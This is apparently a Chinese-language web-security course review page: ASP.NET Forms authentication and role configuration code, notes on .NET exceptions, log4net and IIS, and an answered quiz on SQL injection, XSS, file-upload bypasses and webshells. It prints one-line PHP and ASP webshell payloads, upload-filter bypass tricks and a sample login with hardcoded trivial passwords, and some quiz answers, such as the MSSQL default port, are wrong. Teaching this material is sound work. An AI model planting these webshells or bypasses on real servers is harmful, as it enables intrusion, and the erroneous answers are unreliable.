=localhost;Initial Catalog=northwnd;Integrated Security=True"
providerName="System.Data.SqlClient" />
3.基于.NET的窗体验证和角色认证,怎样实现对一个网站的不同角色的用户显示不同的网页?(要求能写出用.NET实现该需求的步骤)
第一步、设置Forms身份验证方式和登录网页。
<authentication mode="Forms"><!--验证方式为窗体验证-->
<forms loginUrl="~/login.aspx"></forms><!--登录网页为login.aspx-->
</authentication>
<authentication mode="Forms"><!--验证方式为窗体验证-->
<forms loginUrl="~/login.aspx"></forms><!--登录网页为login.aspx-->
</authentication>
第二步、设置默认的用户访问方式。
<authorization>
<allow users="?"/><!--默认为所有用户都能访问-->
</authorization>
<authorization>
<allow users="?"/><!--默认为所有用户都能访问-->
</authorization>
第三步、设置不同目录的访问方式。
<location path="admin">
<system.web>
<authorization>
<!--拒绝所有匿名用户访问-->
<deny users="?"/>
</authorization>
</system.web>
</location>
<location path="admin">
<system.web>
<authorization>
<!--拒绝所有匿名用户访问-->
<deny users="?"/>
</authorization>
</system.web>
</location>
第四步、添加登录页面。
//用户名
string UserName = TextBox1.Text;
//密码
string UserPassword = TextBox2.Text;
//用户角色
string UserRole = "";
//用户身份验证
if ((UserName == "1" && UserPassword == "1") || (UserName == "2" && UserPassword == "2") || (UserName == "3" && UserPassword == "3"))
{
//判断用户权限
switch (UserName)
{
case "1":
UserRole = "admin";
break;
case "2":
UserRole = "backup";
break;
case "3":
UserRole = "reader";
break;
}
//创建一个身份验证票
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, "yundao", DateTime.Now, DateTime.Now.AddMinutes(30), false, UserRole);
//将身份验证票加密
string EncrTicket = FormsAuthentication.Encrypt(ticket);
//创建一个Cookie
HttpCookie myCookie = new HttpCookie(FormsAuthentication.FormsCookieName, EncrTicket);
//将Cookie写入客户端
Response.Cookies.Add(myCookie);
//跳转到初始请求页或默认页面
Response.Redirect(FormsAuthentication.GetRedirectUrl("yundao", false));
}
//用户名
string UserName = TextBox1.Text;
//密码
string UserPassword = TextBox2.Text;
//用户角色
string UserRole = "";
//用户身份验证
if ((UserName == "1" && UserPassword == "1") || (UserName == "2" && UserPassword == "2") || (UserName == "3" && UserPassword == "3"))
{
//判断用户权限
switch (UserName)
{
case "1":
UserRole = "admin";
break;
case "2":
UserRole = "backup";
break;
case "3":
UserRole = "reader";
break;
}
//创建一个身份验证票
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, "yundao", DateTime.Now, DateTime.Now.AddMinutes(30), false, UserRole);
//将身份验证票加密
string EncrTicket = FormsAuthentication.Encrypt(ticket);
//创建一个Cookie
HttpCookie myCookie = new HttpCookie(FormsAuthentication.FormsCookieName, EncrTicket);
//将Cookie写入客户端
Response.Cookies.Add(myCookie);
//跳转到初始请求页或默认页面
Response.Redirect(FormsAuthentication.GetRedirectUrl("yundao", false));
}
第五步、将用户角色添加到表示用户身份的GenericPrincipal对象中。
protected void Application_AuthenticateRequest(object sender, EventArgs e)
{
//判断正在请求页的用户的身份验证信息是否为空
if (HttpContext.Current.User != null)
{
//判断用户是否已经进行了身份验证
if (HttpContext.Current.User.Identity.IsAuthenticated)
{
//判断当前用户身份验证的方式是否为Forms身份验证方式
if (HttpContext.Current.User.Identity is FormsIdentity)
{
//获得进行了Forms身份验证的用户标识
FormsIdentity UserIdent = (FormsIdentity)(HttpContext.Current.User.Identity);
//从身份验证票中获得用户数据
string UserData = UserIdent.Ticket.UserData;
//分割用户数据得到用户角色数组
string[] rolues = UserData.Split(',');
//从用户标识和角色组初始化GenericPrincipal类
HttpContext.Current.User = new System.Security.Principal.GenericPrincipal(UserIdent, rolues);
}
}
}
}
protected void Application_AuthenticateRequest(object sender, EventArgs e)
{
//判断正在请求页的用户的身份验证信息是否为空
if (HttpContext.Current.User != null)
{
//判断用户是否已经进行了身份验证
if (HttpContext.Current.User.Identity.IsAuthenticated)
{
//判断当前用户身份验证的方式是否为Forms身份验证方式
if (HttpContext.Current.User.Identity is FormsIdentity)
{
//获得进行了Forms身份验证的用户标识
FormsIdentity UserIdent = (FormsIdentity)(HttpContext.Current.User.Identity);
//从身份验证票中获得用户数据
string UserData = UserIdent.Ticket.UserData;
//分割用户数据得到用户角色数组
string[] rolues = UserData.Split(',');
//从用户标识和角色组初始化GenericPrincipal类
HttpContext.Current.User = new System.Security.Principal.GenericPrincipal(UserIdent, rolues);
}
}
}
}
日志分析
1…NET错误异常的组成
在C#中当出现某个特殊的异常错误条件时,就会创建抛出一个异常对象,这个对象包含有助于跟踪问题的信息。
在该层次中有两个重要的类,他们派生自System.Exception类:
SystemException------该类用于通常由.NET允许库抛出的异常,或者由几乎所有的应用程序抛出的异常。例如,如果.NET运行库检测到栈已满,他就会抛出StackOverflowException异常。另一方面,如果检测到调用方法时参数不对,就可以在自己的代码中选择抛出ArgumentException异常或其子类。SystemException异常的子类包括表示致命错误和非致命错误的异常。
ApplicationException----在.NET Framework最初的设计中,是打算把这个类作为自定义应用程序异常类的基类的。不过,CLR抛出的一些异常类也派生自这个类。应用程序抛出的异常则派生自SystemException。因此从ApplicationException派生自自定义异常类型没有任何好处,取而代之的是,可以直接从Exception基类派生自定义异常类。
2.Log4net的5个核心组成部分
Log4net主要由五个部分组成,分别为Logger,Appenders,Filters,Layouts和Object Renders。
Logger(日志):记录日志的分类;日志的级别。
Appecders决定日志的输出的方式。
Filter:Appender对象将日志以缺省的方式传到输出流,然后Filter可以按照不同的标准控制日志的输出。
Layouts控制日志显示的格式样式。
Object Renders: 这是很重要的一项,log4net将按照用户定义的标准输出日志消息。
安全配置
1.IIS7.0的权限配置
普通运行权限:默认情况下,需要添加 Users和IIS_IUSRS组才能访问。
脚本运行权限:1.先在程序池中,使用内置系统账户运行程序池,在web PS系统中执行dos脚本,无法通过。一定要administrators组。2.在客户端的PS ISE工具中执行dos脚本却可以。
一套习题
web安全程序设计随堂测试
一、单选题
1、关于上传漏洞与解析漏洞,下列说法正确的是( C )
A、两个漏洞没有区别
B、只要能成功上传就一定能成功解析
C、从某种意义上来说,两个漏洞相辅相成
D、上传漏洞只关注文件名
2、能将HTML文档从Web服务器传送到Web浏览器的传输协议是( C )
A、 FTP B、HCMP C、HTTP D、ping
3、下列哪个函数不能导致远程命令执行漏洞( B )
A system() B isset() C eval() D exec()
4、下列哪个是自动化SQL注入工具( D )
A、 nmap B、 nessus C、 msf D、 sqlmap
5、HTTP状态码是反应web请求结果的一种描述,以下状态码表示请求资源不存在的是:( B )
A、 200 B、 404 C、 401 D、 403
6、BurpSuite是用于Web应用安全测试工具,具有很多功能,其中能拦截并显示及修改http消息的模块是( B )
A、 spider B、 proxy C、 intruder D、 decoder
7 、以下属于一句话木马的是( C )
A、<? @eval($_GET["code"])?> B、<?php ($_GET["code"])?>
C、<?php @eval($_GET["code"])?> D、<php eval($_GET[“code”])>
8、黑客拿到用户的cookie后能做什么( C )
A、能知道你访问过什么网站 B、能从你的cookie中提取出帐号密码
C、能够冒充你的用户登录网站 D、没有什么作用
9、Servlet处理请求的方式为( B )以运行的方式
A、以运行的方式 B、以线程的方式
C、以程序的方式 D、以调度的方式
10、以下哪个工具提供拦截和修改HTTP数据包的功能( A )
A、Burpsuite B、Hackbar C、sqlmap D、nmap
11、Brupsuite中暴力破解的模块是哪个( B )
A、proxy B、intruder C、reqeater D、decoder
12、Brupsuite中暴力截包改包的模块是哪个( A )
A、proxy B、intruder C、reqeater D、decoder
13、上传漏洞前端白名单校验中,用什么软件可以绕过( D )
A、菜刀 B、小葵 C、nmap D、burpsuite
14、Mssql数据库的默认端口是哪个( B )
A 、1433 B、3306 C、1521 D、6379
15、下列对跨站脚本攻击(XSS)的解释最准确的是( D )
A 、引诱用户点击虚拟网络连接的一种攻击方法。
B、 构造精妙的关系数据库的结构化查询语言对数据库进行非法访问。
C、 一种很强大的木马攻击手段。
D 、将恶意代码嵌入到用户浏览器的web页面中,从而达到恶意的目的。
16、防火墙的核心是( C )
A、 访问控制 B、 网络协议 C、 规则策略 D、 网关控制
17、以下哪一项不属于XSS跨站脚本漏洞的危害( C )
A、 钓鱼欺骗 B、 身份盗用 C、SQL数据泄露 D、 网站挂马
18、在SQL注入中,以下注入方式消耗时间最长的是( C )
A、 联合注入 B、 报错注入 C、 时间盲注 D、 宽字节注入
19、使用union 的SQL注入的类型是( D )
A 、报错注入 B、 布尔注入 C 、基于时间延迟注入 D、 联合查询注入
20、在mysql数据库,下列哪个库保存了mysql所有的信息( B )
A、 test B、 information_schema C、 performance_schema D、mysql
21、利用解析漏洞时,有时需要进行抓包改包,使用到的工具是( C )
A、sqlmap B、中国菜刀 C、BurpSuite D、注入工具
22、成功上传一句话木马后,使用什么工具进行连接( B )
A、 nmap B、中国菜刀 C、 sqlmap D、注入工具
23、把一句话木马如xx.asp;.jpg上传到服务器后,如果没有回显文件路径,不属于寻找方法的是( C )
A、在上传完后可以通过右键复制图片地址
B、通过抓包工具进行抓包,看看有没有暴露上传路径
C、根据经验,尝试进行猜测(在后台没有重命名情况下)
D、对目标网站进行端口扫描
24、使用菜刀连接一句话木马发生错误时,下列检查方法最不合适的是( A )
A、马上重传一句话木马
B、通过在浏览器访问,查看是否被成功解析
C、查看是否填入了正确的密码
D、在菜刀中查看是否选择了正确脚本语言
25、在使用Burp Suite进行截包操作中,必须要做的是什么( C )
A、 配置burp suite截包规则 B、关闭目录扫描工具
C、配置好浏览器与Burp Suite的代理 D、勾选上Burp Suite 中的intercept server responses
26、一句话木马,如:<%eval request(“pass”)%>中,“pass”代表什么( A )
A、 一句话木马的连接密码
B、 一句话密码连接成功后回显的提示
C、一个不可变得标志符号
D、毫无意义的一个单词
27、黑客拿到用户的cookie后能做什么 ( C )
A、能知道你访问过什么网站 B、能从你的cookie中提取出帐号密码
C、能够冒充你的用户登录网站 D、没有什么作用
28、以下哪一项不属于XSS跨站脚本漏洞的危害( C )
A 钓鱼欺骗 B 身份盗用 C SQL数据泄露 D 网站挂马
二、填空题
1、webshell 可以分为三类,分别是: 小马 、 大马 和 一句话木马 。
2、Http响应由三部分组成,分别是 状态行 、 响应报头 和 响应正文 。
3、HTTP请求方法非常多,其中最最常见的是 GET方法、POST方法、HEAD方法、PUT方法。
4、HTTP请求包括三部分,分别是: 请求行 、 请求头 和 请求数据 。
5、SQL注入的类型按照不同方式可分为不同类型,但可归结为两类,分别是字符型 和 数字型 。
6、XSS跨站脚本漏洞的类型有: 反射型XSS、存储型XSS、DOM型XSS。
7、写出三个常见的自动化web安全工具: Selenium、UFT、Watir 。
三、简答题
1、 阐述BurpSuite代理设置过程。
代理开启BurpSuite开启后,默认已经创建了代理地址及端口127.0.0.1:8080在【Proxy 】->【Options】 ->【Proxy Listeners】 。
设置浏览器代理,选择【手动配置代理】,填写你的代理IP及端口。
设置完成后,在浏览器输入http: //burp查看访问burp 的欢迎页。
安装CA证书,导入证书后,整个PC代理的过程完毕。
2、 绕过上传漏洞有哪些方法并阐述其使用方法。
文件名大小写绕过:如果,在代码层没有进行大小写统一,用AsP,pHp类似的文件名绕过黑名单。
名单列表绕过:后缀名绕过,查找blacklist(黑名单列表)的漏网之鱼,还有服务器的解析漏洞。
特殊文件名绕过:在windows下有些文件名是不被允许的,将http包里将文件名改为test.asp.或test.asp_(此处下划线为空格)这种命名方式在windows系统自动去掉点和空格。
%00截断绕过:存在这类漏洞,那么后缀名的检测都可以绕过,此时我们可以如下命名一个上传文件进行绕过,例如test.php%00.jpg。
3、 防止SQL注入有哪些方法,列举四个
PreparedStatement:采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
使用正则表达式过滤传入的参数
字符串过滤
jsp中调用该函数检查是否包函非法字符
JSP页面判断代码
4、 请阐述命令执行漏洞的原理。
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用System()、exec()、shell_exec()、passthru()、popen().
proc_popen()等函数可以执行系统命令。当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。命令执行主要是对输入的命令没有进行过滤,攻击者可以使用&、8&&、|、|等命令拼接自己想要查看的信息的相关命令,这样,连同攻击者的命令就会一块执行,这样就造成了命令执行漏洞。
5、 结合XSS跨站脚本原理,说明其三种类型的区别。
存储型xss会把数据存入数据库当中。而反射型xss是非持久化的。反射型xss是服务器返回的html文档中就已经存在xss代码了。也就是前端页面渲染步骤中,执行第一步解析html时就已经有触发xss的代码了。而Dom型xss则是在执行js代码时才生成触发xss的代码到DOM树中。
6、根据所学知识,阐述SQL注入的原理。
SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
本文详述了Web安全的复习重点,涵盖Web应用开发基础、信息收集、漏洞扫描、SQL注入、文件上传攻击、跨站脚本攻击、跨站请求伪造、命令执行漏洞、Web服务器配置安全等方面。强调了SQL注入、XSS、文件上传漏洞的重要性,并讲解了各种防御措施。还提及了简单的测试工具如SQLmap和Burp Suite,以及身份验证和日志分析在安全中的角色。此外,文章还提供了一套Web安全相关的习题集。
2057





